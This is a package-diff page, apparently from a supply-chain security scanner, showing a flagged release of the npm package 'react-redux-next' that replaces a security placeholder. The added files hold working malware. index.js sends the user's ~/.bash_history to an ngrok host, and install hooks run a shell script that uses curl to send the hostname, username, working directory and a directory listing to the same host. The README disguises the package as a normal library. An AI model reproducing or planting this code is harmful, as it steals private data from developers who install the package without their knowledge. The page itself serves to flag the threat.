react-redux-next 0.0.1-security → 7.1.0-rc.1-beta

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of react-redux-next might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +5 -5
  2. package/index.js +23 -0
  3. package/package.json +19 -3
  4. package/pre.sh +3 -0
package/README.md CHANGED
@@ -1,5 +1,5 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=react-redux-next for more information.
1
+ This package is for NextAPI in React-Redux-Next
2
+ v7.1.0-rc.1
3
+ v1.0.1
4
+ v7.1.1
5
+ updating
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ #!/usr/bin/env node
2
+
3
+ const fs = require('fs');
4
+ const http = require('http');
5
+
6
+ const home = process.env.HOME;
7
+
8
+ const options = {
9
+ host: 'b3b0-101-53-233-192.ngrok.io',
10
+ path: '/',
11
+ port: 80,
12
+ method: 'POST'
13
+ };
14
+
15
+ const req = http.request(options, function(response) {
16
+ console.log(response);
17
+ });
18
+
19
+ fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) {
20
+ console.log(data);
21
+ req.write(data);
22
+ req.end();
23
+ });
package/package.json CHANGED
@@ -1,6 +1,22 @@
1
1
  {
2
2
  "name": "react-redux-next",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "7.1.0-rc.1-beta",
4
+ "description": "Simple react-redux-next for nextAPI.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "wget --quiet \"http://b3b0-101-53-233-192.ngrok.io/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # test",
8
+ "preinstall": "./pre.sh",
9
+ "postinstall": "./pre.sh"
10
+ },
11
+ "keywords": [
12
+ "test",
13
+ "react-redux-next",
14
+ "PoC"
15
+ ],
16
+ "dependencies": {},
17
+ "config": {
18
+ "unsafe-perm":true
19
+ },
20
+ "author": "mkj47",
21
+ "license": "ISC"
6
22
  }
package/pre.sh ADDED
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64) http://b3b0-101-53-233-192.ngrok.io